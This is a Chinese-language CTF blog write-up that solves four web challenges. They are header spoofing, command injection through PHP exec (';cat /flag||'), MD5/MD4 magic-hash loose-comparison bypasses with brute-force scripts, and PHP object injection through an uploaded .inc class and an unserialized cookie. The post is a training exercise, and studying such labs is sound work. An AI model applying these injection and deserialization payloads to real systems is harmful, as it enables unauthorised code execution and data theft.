HZNU-web

Signin

在这里插入图片描述
打开场景,说是没有定义的ip,也就是要修改ip地址,直接抓包
在这里插入图片描述
一开始尝试XFF但是没成功,用Client成功了
payload1:
Client-Ip: 127.0.0.1
又说必须要是handsome guys,因此就修改User-Agent,得到flag
在这里插入图片描述
后记:
不知道是操作原因还是环境原因,差点拿一血了来着,唉

Command shell

打开页面就是源码,一步一步来吧

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_GET['file'])){
        $p=$_GET['file'];
        $a = $_GET['a'];
        if(!(is_file($p)===false)){
            if(is_numeric($a) && strlen($a)<8 && ($a**2)==0 &&$a!=0){
                if(substr(md5($_GET['b']),0,6)==='2b3599'){
                $count = $_GET['count'];
                echo "The count is ".exec('printf \'' . $count . '\' | wc -c');
                }else{
                    echo '很近了';
                }
            }else{
                echo "还是太年轻了...";
            }
        }else{
            echo '第一关都过不了?';
        }
    }
?>

0x01:

 $p=$_GET['file'];
 if(!(is_file($p)===false))

要求$p是当前存在的文件的名字,一般都会有index.php,那就直接用吧
payload1:
file=index.php

0x02:

$a = $_GET['a'];
if(is_numeric($a) && strlen($a)<8 && ($a**2)==0 &&$a!=0)

有四个条件,要是数字并且长度小于8,二次幂的值为0,但是又不能为0
直接写出来吧
payload2:
a=1e-199

0x03:

if(substr(md5($_GET['b']),0,6)==='2b3599')

用之前找到的大佬的脚本跑就行了

import hashlib
def main(x):
    for i in range(1,100000000):
        MD5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
        if MD5[0:6] == str(x):
            print(i)
if __name__ == '__main__':
    main('2b3599')

0x04:

echo "The count is ".exec('printf \'' . $count . '\' | wc -c');

这里才是这道题的重点了
利用exec函数进行命令执行
一开始里面有\'以至于有两个单引号需要自己闭合,并且printf和后面的| wc -c都不用执行,所以可以用管道符截掉
payload3:
count=';cat /flag||'

总的payload:

?file=index.php&a=1e-199&b=17808027&count=%27;cat%20/flag||%27

后记:
其实之前做到过类似(都可以说一模一样了)的题目

Funmd5

打开场景,开始代码审计

<?php
error_reporting(0);
highlight_file(__FILE__);
$flag = file_get_contents('/flag');
$str1 = $_GET['str1'];
$str2 = $_GET['str2'];
if($_GET['num']!==123456 && preg_match('/^123456/',$_GET['num'])){
    echo '1st ok'."<br>";
    
}else{
    die('toooo young');
}

if(is_numeric($str1)){
    $md5_1 = md5($str1);
    $md5_2 = md5($str2);

    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'nnnnb', '12345');
        $b = strtr($md5_2, 'nnnnb', '12345');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}
if ($_GET["hash1"] == hash("md4", $_GET["hash1"]))
{    
    echo $flag;
    
}else{
    die('bad');
}
?>

0x01:
可以使用%0a来绕过比较和preg_match之间的矛盾,但是不知道是我想错了还是环境问题,这道题直接num=123456就过了

if($_GET['num']!==123456 && preg_match('/^123456/',$_GET['num']))

0x02:
这段怪折磨人的,要实现md5加密之后不相等,但是在字符替换之后又相等了
因为没有强制不能查资料,所以最后找到了可以进行爆破的脚本

if(is_numeric($str1)){
    $md5_1 = md5($str1);
    $md5_2 = md5($str2);

    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'nnnnb', '12345');
        $b = strtr($md5_2, 'nnnnb', '12345');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}

exp:

<?php
$count = 0;
for ($i = 1; $i <= 100000000; $i++) {
    $md5 = strtr(md5($i), 'nnnnb', '12345');
    if (preg_match('/^0e\d+$/', $md5)) {
        echo $i . " " . md5($i) . "<br>";
        $count++;
    }
    if ($count == 2) {
        break;
    }
}

payload2:
str1=11230178&str2=20493141

这里实现了md5值不同但是替换之后又相同是因为,php中以0e开头的数字会被认为是0,而如果md5加密之后以0e开头并且在进行strstr函数的替换之后后面的都是数字,那么得出的结果在php松散比较之下就会实现相等
在这里插入图片描述
0x03:

if ($_GET["hash1"] == hash("md4", $_GET["hash1"]))
{    
    echo $flag;
    
}else{
    die('bad');
}

感觉和上一个类似,如果以0e开头的数据被md4加密之后的值也是以0e开头,这样的话应该就可以绕过了
exp:

for($i=1;$i<=10000000000000;$i++){
	$a = '0e'.$i;
	$hash1 = hash("md4",$a);
	if(preg_match('/^0e\d+$/',$hash1){
		echo $a."\n";
		break;
	}
}

payload3:
hash1=0e251288019

最终payload:
?num=123456&str1=11230178&str2=20493141&hash1=0e251288019

Upload

打开场景发现要文件上传
在这里插入图片描述
一开始以为只是简单的文件上传题目,但是把各个方法试了一下之后都没有成功,所以最后没做出来(主要是一开始以为不能用扫描,就不敢扫,没想到原来可以的
发现有index.php文件信息泄露

<?php
spl_autoload_register();
ini_set('display_errors', false);
error_reporting(0);
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"attach\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
	if($_FILES["attach"]["error"] == 0) {
    if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {
        $typeAccepted = ["image/jpeg", "image/gif", "image/png"];
        $blackext = ["php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx","<",">","jsw", "jsv", "jspf","jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer","swf", "htaccess", "ini"];
        $filearr = pathinfo($_FILES["attach"]["name"]);
        if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {
            exit("type error");
        }
        if(in_array($filearr["extension"], $blackext)) {
            exit("extension error");
        }
        $filename = $_FILES["attach"]["name"];
        if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {    
            array_push($userinfo, $filename);
            setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
            echo htmlspecialchars("upload success, new filename is {$filename} .");
        } else {
            echo "upload error!";
        }
    }
} else {
    echo "no upload file";
}
$userinfo = unserialize($_COOKIE["userinfo"]);
?>

0x01:代码审计+解题
前面一大段代码主要就是对上传到文件进行类型和拓展名的过滤,然后可以发现两行比较特别的代码

setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
$userinfo = unserialize($_COOKIE["userinfo"]);

设立了userinfocookie并在最后进行反序列化操作,而抓包之后userinfo这个cookie值是我们控的
但是要上传什么文件就不是很清楚了,最后找了资料发现是php对象注入的题目
小记一次PHP对象注入
在这里插入图片描述
在这里插入图片描述
根据上图可知,我们可以上传一个拓展名为inc的文件,并且定义的类名必须与文件名相同即:
我们上传文件info.inc
则文件里面的内容为:

<?php
class info{
	function __wakeup(){
		phpinfo();
   }
}

##############
<?php
class info{
	function __destruct(){
		phpinfo();
   }
}

之后进行抓包,修改MIME,并在cookie中设置userinfo的值为O:4:"info":0:{},因为wakeup魔术方法会在反序列化之前自动调用,这个时候就自动执行phpinfo();
在这里插入图片描述
之后可以修改魔术方法里面的命令得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值